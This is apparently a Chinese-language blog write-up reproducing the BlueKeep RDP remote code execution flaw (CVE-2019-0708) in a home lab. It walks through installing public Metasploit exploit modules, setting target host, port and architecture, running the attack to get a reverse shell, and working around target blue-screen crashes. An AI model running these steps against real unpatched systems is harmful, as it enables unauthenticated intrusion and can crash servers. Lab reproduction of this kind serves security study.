CVE-2019-0708本地复现

0x00 前言

CVE-2019-0708是微软于2019年5月14日发布的一个严重的RDP远程代码执行漏洞。该漏洞无需身份认证和用户交互,可能形成蠕虫爆发。该服务器漏洞利用方式是通过远程桌面端口3389,RDP协议进行攻击的 。

2019年09月07日,@rapid7 在其metasploit-framework仓库公开发布了CVE-2019-0708的利用模块,漏洞利用工具已经开始扩散,已经构成了蠕虫级的攻击威胁。

0x01 影响版本

1
2
3
4
5
Windows 7
Windows server 2008
Windows server 2008 R2
Windows 2003
Windows XP

0x02 环境搭建

环境准备

1
2
Windows server 2008 R2   IP: 192.168.72.140
kali Linux

Windows server 2008 R2

开启3389

修改注册表
Win + R 输入 regedit 进入注册表编辑器,按以下目录找到 fDisableCam 并将值改为0

1
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\TerminalServer\Winstations\RDP-Tcp\fDisableCam = 0

kali Linux

下载文件

1
git clone https://github.com/TinToSer/bluekeep-exploit


可以看到有四个.rb后缀的文件,接下来将它们放至相应的目录(rdp目录需要自己创建)

1
2
3
4
5
cd bluekeep-exploit
cp rdp.rb /usr/share/metasploit-framework/lib/msf/core/exploit/
cp rdp_scanner.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
cp cve_2019_0708_bluekeep.rb /usr/share/metasploit-framework/modules/auxiliary/scanner/rdp/
cp cve_2019_0708_bluekeep_rce.rb /usr/share/metasploit-framework/modules/exploits/windows/rdp/

0x03 漏洞利用

启动msf

1
msfconsole

重新加载所有模块

1
reload_all


搜索漏洞模块

1
search cve_2019_0708

开始利用

使用 use exploit/windows/rdp/cve_2019_0708_bluekeep_rce 启用0708RDP攻击模块

使用 info 可以查看工具相关信息以及设置

1
2
3
4
5
6
7
可以看到我们需要设置的选项主要为RHOSTS \ RPORT \ target
使用set RHOSTS 设置靶机IP

使用set RPORT 设置靶机PORT

使用set target ID数字(可选为1-4)每种都代表了机器架构
在我的复现环境中使用VMWare,所以使用target 3即可,如若不行尝试使用1,2,4

使用 show options 查看设置情况

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
msf5 exploit(windows/rdp/cve_2019_0708_bluekeep_rce) > show options

Module options (exploit/windows/rdp/cve_2019_0708_bluekeep_rce):

Name Current Setting Required Description
---- --------------- -------- -----------
RDP_CLIENT_IP 192.168.0.100 yes The client IPv4 address to report during connect
RDP_CLIENT_NAME ethdev no The client computer name to report during connect, UNSET = random
RDP_DOMAIN no The client domain name to report during connect
RDP_USER no The username to report during connect, UNSET = random
RHOSTS yes The target address range or CIDR identifier
RPORT 3389 yes The target port (TCP)


Exploit target:

Id Name
-- ----
0 Automatic targeting via fingerprinting

更改设置

1
2
3
set rhosts 192.168.10.10  //设置目标主机(win server 2008 R2)
set rport 3389 //设置目标端口(此处不用设置)
set target 3

设置完参数之后,使用 run 开启攻击

反弹shell成功!!!

0x04 遇到的问题

  1. 加载模块失败

出现了 WARNING! The following modules could not be loaded! 错误,提示我们新加入的模块无法被加载。

这个问题我一开始在网上也没找到相关的解决办法,我是直接安装的 2019.03 版本的,没在出现这个问题。

后来在网上看到这篇文章貌似可以: https://blog.csdn.net/weixin_42380348/article/details/100642788

  1. 每次攻击出现蓝屏,然后靶机关机

设置完参数之后,开始攻击run,靶机出现蓝屏,然后关机

kali出现

这里可以将参数 target 设置为其他ID,我是设置为2,然后run。

0x05 漏洞原理

原理还是等有时间在搞吧。。。。。

参考: https://www.anquanke.com/post/id/181577